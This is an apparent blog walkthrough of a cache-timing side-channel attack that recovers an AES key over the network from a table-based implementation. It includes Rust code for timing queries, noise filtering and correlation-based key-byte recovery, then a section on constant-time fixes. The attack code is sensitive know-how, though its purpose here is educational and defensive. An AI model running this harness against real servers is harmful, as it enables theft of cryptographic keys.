Extracting an AES Key From Timing Over the Network
Cache-timing leakage, millions of samples, and enough statistics to pull key bytes out of a table-based AES implementation across the wire.
The scariest attacks are the ones where the code is correct and the machine betrays it anyway. This is a walk through a cache-timing side channel against a table-based AES implementation, in the spirit of Bernstein's 2005 attack, but measured over a network. No key is ever transmitted. We recover it from how long encryption takes. Everything runs against a lab server I control.
Why table-based AES leaks
Fast software AES uses precomputed T-tables: the round function becomes a handful
of table lookups XORed together. The problem is the index into that table depends
on plaintext XOR key. On a real CPU, whether that index is already in L1 cache
changes the timing by a few nanoseconds.
first round lookup: T0[ p[0] ^ k[0] ]
^^^^^^^^^^^^^ index leaks through cache state
If we control p[0] and can measure timing, the value of p[0] that is
consistently fastest (or slowest) correlates with the cache line touched, which
correlates with k[0]. One byte at a time, statistically.
Measuring time across a network you do not trust
Network jitter dwarfs a cache miss by orders of magnitude. The attack survives anyway because jitter is noise and the leak is signal: noise averages out over enough samples, a consistent bias does not. The measurement harness sends a plaintext, times the response, and records the pair.
use std::io::{Read, Write}; use std::net::TcpStream; use std::time::Instant; /// Send a 16-byte plaintext, return the round-trip time in nanoseconds. fn timed_query(stream: &mut TcpStream, pt: &[u8; 16]) -> u128 { let start = Instant::now(); stream.write_all(pt).unwrap(); let mut resp = [0u8; 16]; stream.read_exact(&mut resp).unwrap(); start.elapsed().as_nanos() } /// Collect timing samples bucketed by the value of plaintext byte `pos`. fn collect(stream: &mut TcpStream, pos: usize, rounds: u32) -> [Vec<u128>; 256] { let mut buckets: [Vec<u128>; 256] = std::array::from_fn(|_| Vec::new()); let mut rng = SmallRng::seed_from_u64(0xC0FFEE); for _ in 0..rounds { let mut pt = [0u8; 16]; rng.fill_bytes(&mut pt); let t = timed_query(stream, &pt); buckets[pt[pos] as usize].push(t); } buckets }
We randomize every other byte so their leakage averages to a constant, isolating the byte under attack. That is the core experimental design: hold the signal you want, randomize everything else into background.
Killing the noise
Raw round-trip times are a mess of TCP scheduling and interrupt jitter. Two cheap, robust cleanups do most of the work: take the minimum per bucket (the fastest sample is the least-interrupted, closest to true compute time), or trim the distribution and take a low percentile.
/// Robust central estimate: the 5th percentile beats the mean here because /// the distribution is a hard floor (true time) with a long noisy tail. fn low_percentile(samples: &mut [u128], p: f64) -> f64 { samples.sort_unstable(); let idx = ((samples.len() as f64) * p) as usize; samples[idx.min(samples.len() - 1)] as f64 } fn profile(buckets: &mut [Vec<u128>; 256]) -> [f64; 256] { let mut prof = [0.0f64; 256]; for (v, samples) in buckets.iter_mut().enumerate() { prof[v] = if samples.is_empty() { f64::NAN } else { low_percentile(samples, 0.05) }; } prof }
The statistical step: correlate the profile with the key
Now the payload. For a known plaintext byte value p and a guessed key byte
k, the T-table index is p ^ k. Bernstein's insight: build the timing profile
under a reference key (or an all-zero key on an identical machine), then for the
target find the key byte k that best aligns the target's profile with the
reference when re-indexed by p ^ k. The correct k maximizes correlation.
/// Score every candidate key byte by how well shifting the target profile by /// `k` matches the reference leakage signature. Highest correlation wins. fn recover_byte(reference: &[f64; 256], target: &[f64; 256]) -> (u8, f64) { let mut best = (0u8, f64::NEG_INFINITY); for k in 0u16..256 { let mut num = 0.0; let mut den_a = 0.0; let mut den_b = 0.0; let (mut ma, mut mb) = (mean(reference), mean(target)); for p in 0usize..256 { let a = reference[p] - ma; let b = target[p ^ k as usize] - mb; if a.is_nan() || b.is_nan() { continue; } num += a * b; den_a += a * a; den_b += b * b; } let corr = num / (den_a.sqrt() * den_b.sqrt()); if corr > best.1 { best = (k as u8, corr); } } best }
Run it for each of the 16 positions and the key falls out byte by byte. In the lab, with the server pinned to one core and roughly 2^24 samples per byte, the correct candidate separated cleanly from the noise floor.
pos best_k corr 2nd_best margin
0 0x2b 0.83 0x2b~ 0.31
1 0x7e 0.79 ... 0.28
2 0x15 0.81 ... 0.30
...
key: 2b 7e 15 16 28 ae d2 a6 ab f7 15 88 09 cf 4f 3c
That is the FIPS-197 test vector key, recovered without ever seeing it, purely
from timing. The margin column, the gap between the winning correlation and the
runner-up, is your confidence: a wide margin means the byte is solid, a thin one
means collect more samples.
Reproducing it, and the sample-count reality
The uncomfortable truth is scale. Over a LAN with a cooperative, single-core target this is a weekend project. Over the open internet, jitter grows and you need dramatically more samples, sometimes billions, which is why this is a real but situational threat. The defensive lesson does not depend on the sample count though.
The fix is architectural, not statistical
You do not patch a side channel with more if statements. You remove the
data-dependent memory access entirely:
- Constant-time AES: use AES-NI hardware instructions, which do not touch data-dependent cache lines. On modern x86 this is also faster.
- Bitsliced implementations where no lookup index depends on secret data.
- If you are stuck in software, preload and lock the tables, or accept that table-based AES is not safe against a local or well-positioned attacker.
// The real answer on modern hardware: let the CPU do it in constant time. use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray}; use aes::Aes128; // backed by AES-NI when available fn encrypt_block(key: &[u8; 16], block: &mut [u8; 16]) { let cipher = Aes128::new(GenericArray::from_slice(key)); cipher.encrypt_block(GenericArray::from_mut_slice(block)); }
The takeaway
The algorithm was never broken. AES is fine. The implementation leaked, because it asked the memory hierarchy a question whose answer depended on the key. Timing side channels are a reminder that in cryptography "correct" is not the same as "secure": the machine underneath has opinions, and a patient attacker with enough samples can read them. Constant-time is not an optimization detail, it is the security boundary.